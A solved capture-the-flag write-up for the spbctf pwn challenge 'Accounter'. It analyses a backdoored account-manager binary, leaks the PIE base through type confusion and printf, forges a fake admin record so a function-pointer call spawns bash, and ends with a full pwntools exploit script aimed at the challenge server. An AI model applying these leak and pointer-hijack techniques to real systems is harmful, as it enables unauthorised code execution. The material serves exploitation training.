Accounter
Accounter
Platform: spbctf | Category: pwn | Type: Challenge | Difficulty: Medium | OS: Linux | Author: XESXOR | Date: 2026-07-02 | Status: Solved Techniques: backdoor_is_admin_toggle, function_pointer_overwrite_via_controlled_login, pie_leak_via_printf_type_mismatch, type_confusion_user_as_admin
Summary
Task: ELF binary manages user/admin accounts in a shared array; a hidden backdoor toggles is_admin with no bounds check, enabling type confusion. Solution: leak PIE base by toggling admin to user (printf %s prints function pointer), then register a user with crafted login containing system("bash") address, toggle to admin, and trigger the function pointer call.
Accounter — spbctf
Description
Looks like this program has a backdoor.
ELF 64-bit PIE binary (mc2.elf) that manages user and admin accounts. The binary has PIE, NX, and Partial RELRO enabled but no stack canary. It provides a menu-driven interface for account management with a hidden backdoor option. The goal is to get a shell and read the flag.
Binary URL: https://pwn.spbctf.ru/files/uaf/mc2/mc2.elf
Target: nc 109.233.56.90 11726
Analysis
Data structures
The binary uses a global ACCOUNTS array of 12-byte records: {int is_admin (4 bytes); ptr data (8 bytes)}, with a global COUNT tracking the number of accounts.
Two account types share the same record struct but have different data layouts:
User data (malloc(0x28) = 40 bytes):
[login: 0x14 bytes][password: 0x13 bytes]
is_admin = 0
Admin data (malloc(0x1d) = 29 bytes):
[level: 1 byte][function_ptr: 8 bytes][name: 0x13 bytes]
is_admin = 1
Key functions
| Function | Offset | Action |
|---|---|---|
admin_action_show_id | 0x11d0 | Calls system("id") |
secret_action_launch_shell | 0x13a0 | Calls system("bash") — the target |
| |
Menu options
| Option | Action |
|---|---|
| 1 | Change password (strncpy 0x13 bytes) |
| 2 | Contact admin — scanf %hhd for level; finds admin matching data[0]==level; calls function pointer at [data+1] |
| 3 | Show my neighbors — prints ordinary users (is_admin==0) via printf("%d) %s\n", idx, data) |
| 4 | Register new user — gets login + password |
| 5 | Log out |
| 6 | Exit |
| 0x1337d00d | BACKDOOR — scanf %d for account index (signed, no bounds check); toggles is_admin (0→1 or 1→0) |
| |
Initialization
On startup, the binary creates:
- Account 0: user
"guest"/"123456"(is_admin=0) - Account 1: admin with level
'c'(0x63), name"vos@vos.uz", func=admin_action_show_id(is_admin=1)
Heap layout
After init (confirmed via LD_PRELOAD malloc hook):
- ACCOUNTS array at heap+0xa0
- guest_data at heap+0xc0 (chunk size 0x30)
- admin_data at heap+0xf0 (chunk size 0x30)
No overflow between chunks — strncpy is capped at 0x13 within 0x28-byte allocations.
Three logic bugs — no memory corruption needed
Bug 1: Backdoor with no bounds check. The secret menu option 0x1337d00d toggles is_admin of any account index. No bounds checking means arbitrary type confusion — a user can be made admin and vice versa.
Bug 2: PIE leak via type confusion + printf %s. When admin (index 1) is toggled to is_admin=0 (ordinary), "Show my neighbors" runs printf("%s", admin_data). Admin data starts with [level 'c'][function_ptr 8 bytes][name...]. Since 'c' is non-NUL and the function pointer's first 6 bytes are non-NUL (upper 2 bytes are 0x00), %s prints: 'c' + 6 bytes of admin_action_show_id address → PIE base leak.
Bug 3: RCE via type confusion (user data treated as admin). Register a new user whose login = level_char + p64(secret_action_launch_shell)[:6]. strncpy pads remaining bytes with NUL, so data[1..8] = exact 8-byte address of secret_action_launch_shell. Toggle this user to is_admin=1 via backdoor. "Contact admin" at matching level finds this fake admin and calls [data+1] = secret_action_launch_shell = system("bash") → shell.
Solution
Step-by-step
- Login as
guest/123456 - Backdoor toggle index 1 → admin becomes
is_admin=0(ordinary user) - "Show my neighbors" → leaked string
"c\xd0\x71\xc1\x58\xae\x62"containsadmin_action_show_idaddress - Compute:
base = leak - 0x11d0,launch_shell = base + 0x13a0 - Backdoor toggle index 1 again → restore admin to
is_admin=1 - Register new user: login =
chr(0x41) + p64(launch_shell)[:6], password = anything - Backdoor toggle index 2 → new user becomes
is_admin=1(type confusion) - Contact admin at level 65 (0x41) → matches our fake admin →
call [data+1]=system("bash") - Shell:
cat /flag.txt→ flag
Exploit script
python read-only • copy allowed#!/usr/bin/env python3 """Accounter (mc2) — PIE leak via type-confusion %s + backdoor → fake admin → system("bash")""" from pwn import * import time context.log_level = 'info' context.arch = 'amd64' HOST, PORT = '109.233.56.90', 11726 SHOW_ID_OFF = 0x11d0 LAUNCH_OFF = 0x13a0 BACKDOOR = 0x1337d00d def start(): p = remote(HOST, PORT) p.recvuntil(b'login: '); p.sendline(b'guest') p.recvuntil(b'password: '); p.sendline(b'123456') p.recvuntil(b'> ') return p def backdoor(p, idx): p.sendline(str(BACKDOOR).encode()) p.recvuntil(b'make admin / unmake admin: ') p.sendline(str(idx).encode()) p.recvuntil(b'> ') def neighbors(p): p.sendline(b'3') return p.recvuntil(b'> ', timeout=4) def register(p, login, password): p.sendline(b'4') p.recvuntil(b'New login: '); p.sendline(login) p.recvuntil(b'Password: '); p.sendline(password) p.recvuntil(b'> ') def contact(p, level): p.sendline(b'2') p.recvuntil(b'to contact: ') p.sendline(str(level).encode()) def main(): p = start() # Step 1: Leak PIE via type confusion backdoor(p, 1) # toggle admin → ordinary r = neighbors(p) for l in r.split(b'\n'): if l.startswith(b'1) '): line = l[3:] break ptrbytes = line[1:] # skip level char 'c' leak = u64(ptrbytes.ljust(8, b'\x00')) base = leak - SHOW_ID_OFF launch = base + LAUNCH_OFF log.info("PIE base = %#x, launch_shell = %#x", base, launch) assert base & 0xfff == 0 # Step 2: Restore admin backdoor(p, 1) # Step 3: Register fake admin user ab = p64(launch) assert b'\n' not in ab[:6] and 0 not in ab[:6] level = 0x41 # 'A' login = bytes([level]) + ab[:6] register(p, login, b'pw') # Step 4: Toggle new user to admin backdoor(p, 2) # Step 5: Trigger call to system("bash") contact(p, level) p.sendline(b'cat /flag* 2>/dev/null') time.sleep(1.5) print(p.recv(timeout=4).decode(errors='replace')) p.interactive() if __name__ == '__main__': main()